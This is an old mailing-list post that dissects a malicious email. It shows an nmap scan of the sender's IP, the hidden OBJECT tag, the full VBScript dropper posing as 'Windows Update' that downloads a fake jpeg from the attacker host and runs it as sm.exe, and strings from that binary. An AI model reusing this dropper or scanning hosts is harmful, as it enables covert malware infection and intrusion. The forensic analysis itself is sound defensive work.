Subject: Re: Msg reply

From: shogunx <[email-masked]>
Date: Mon, 29 Mar 2004 19:10:21 -0500 (EST)

sleekfreak pirate broadcast serving up a portscan of this schmuck

legend:~# nmap -sS -v 68.107.23.153

Starting nmap 3.27 ( www.insecure.org/nmap/ ) at 2004-03-29 23:22 EST
Host ip68-107-23-153.sd.sd.cox.net (68.107.23.153) appears to be up ...
good.
Initiating SYN Stealth Scan against ip68-107-23-153.sd.sd.cox.net
(68.107.23.153) at 23:22
Adding open port 389/tcp
Adding open port 113/tcp
Adding open port 1025/tcp
Adding open port 5000/tcp
Adding open port 1720/tcp
The SYN Stealth Scan took 27 seconds to scan 1623 ports.
Interesting ports on ip68-107-23-153.sd.sd.cox.net (68.107.23.153):
(The 1605 ports scanned but not shown below are in state: closed)
Port       State       Service
80/tcp     filtered    http
113/tcp    open        auth
135/tcp    filtered    loc-srv
136/tcp    filtered    profile
137/tcp    filtered    netbios-ns
138/tcp    filtered    netbios-dgm
139/tcp    filtered    netbios-ssn
389/tcp    open        ldap
445/tcp    filtered    microsoft-ds
593/tcp    filtered    http-rpc-epmap
1025/tcp   open        NFS-or-IIS
1433/tcp   filtered    ms-sql-s
1720/tcp   open        H.323/Q.931
4444/tcp   filtered    krb524
5000/tcp   open        UPnP
12345/tcp  filtered    NetBus
27374/tcp  filtered    subseven
31337/tcp  filtered    Elite

Nmap run completed -- 1 IP address (1 host up) scanned in 33.127 seconds
legend:~#

the ip was pulled from the body. in this link:

<html><body>
<font  face="System">
<OBJECT STYLE="display:none" DATA="http://68.107.23.153:81/005716.php">
</OBJECT></body></html>

visible only in the packet headers,
which leads to not a php file but a vb script,

(drumroll for forensic analysis of the annoying)

legend:~# cat *php
<HTML>
<HEAD>
<TITLE>Windows Update</TITLE>
<HTA:APPLICATION ID="Q" APPLICATIONNAME="Q" BORDER="none"
BORDERSTYLE="normal" CAPTION="no" ICON="" CONTEXTMENU="no"
MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no" SHOWINTASKBAR="no"
SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/>
<SCRIPT LANGUAGE="VBScript">
MyFile = "q.vbs"
drte52f = "ileSyst"
Set FSO = CreateObject("Scripting.F"+drte52f+"emObject")
Set TSO = FSO.CreateTextFile(MyFile, True)
TSO.write "Dim BD" & vbcrlf
TSO.write "Dim xml" & vbcrlf
TSO.write "f5j545i = ""MLH""" & vbcrlf
TSO.write "Set xml = CreateObject(""Microsoft.X""+f5j545i+""TTP"")" &
vbcrlf
TSO.write "xml.Open ""GET"", ""http://68.107.23.153:81/fcebwur.jpeg"",
False" & vbcrlf
TSO.write "xml.Send" & vbcrlf
TSO.write "C=C=C=C" & vbcrlf
TSO.write "BD = xml.ResponseBody" & vbcrlf
TSO.write "C=C=C=C" & vbcrlf
TSO.write "Const adTypeBinary = 1" & vbcrlf
TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf
TSO.write "C=C=C=C" & vbcrlf
TSO.write "Dim BinaryStream" & vbcrlf
TSO.write "C=C=C=C" & vbcrlf
TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf
TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf
TSO.write "A=A=A=A" & vbcrlf
TSO.write "BinaryStream.Open" & vbcrlf
TSO.write "BinaryStream.Write BD" & vbcrlf
TSO.write "b=b=b=b" & vbcrlf
TSO.write "BinaryStream.SaveToFile ""sm.exe"", adSaveCreateOverWrite" &
vbcrlf
TSO.write "Dim WshShell" & vbcrlf
TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf
TSO.write "WshShell.Run ""sm.exe"", 0, false" & vbcrlf
TSO.close
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "q.vbs", 0, false
</SCRIPT>
<script>window.close()</script>
</HEAD>

which calls a jpeg that is
not a jpeg, but a virus.

http://68.107.23.153:81/fcebwur.jpeg

as evidenced by the following partial strings output:

8<@D
217.5.9
SOFTWARE\windirects
.exe
CLEANER3.E/
d3dupdate!PC
c AVprot<9x
MGRDI
ON016
PF9X2
WNB?
TDW=
ICSSU
}PUTY
SET;k
TIVIRUS--
C',FAS
ErLL
LOWPROTECTOaZ
FP-WIN_TR!"
OD6N
530[BYB
HACK
,HTL
        zAMAy
1R SjJX
KAVLI40
xIO-
WRL-4
G2      S1
FG&Z
HW32
DX      L6l;S
C"4^
EOuIos7
8Z7w3z
KxLzU
Arial
image/bmp
ygifjpeg
gdiplus.dl*
Startup
hutdowo
GetI<Encoder
izec
Load
romVream
SaveTo
Fil@Dispos
'MicDsoft\Win
\CurQntVmion\Ru
pifziprI6
h9!HTTP/] kA
: cl
KERNEL32.DLL
advapi32.dll
gdi32.dll
ole32.dll
SHELL32.dll
shlwapi.dll
urlmon.dll
user32.dll
wininet.dll
wsock32.dll
LoadLibraryA
GetProcAddress
ExitProcess
RegCloseKey
DeleteDC
CoInitialize
ShellExecuteA
StrDupA
URLDownloadToFileA
DrawTextA
InternetGetConnectedState
bind

so on and so forth.
you caught me on the wrong day apparently...

sleekfreak pirate broadcast
http://sleekfreak.ath.cx:81/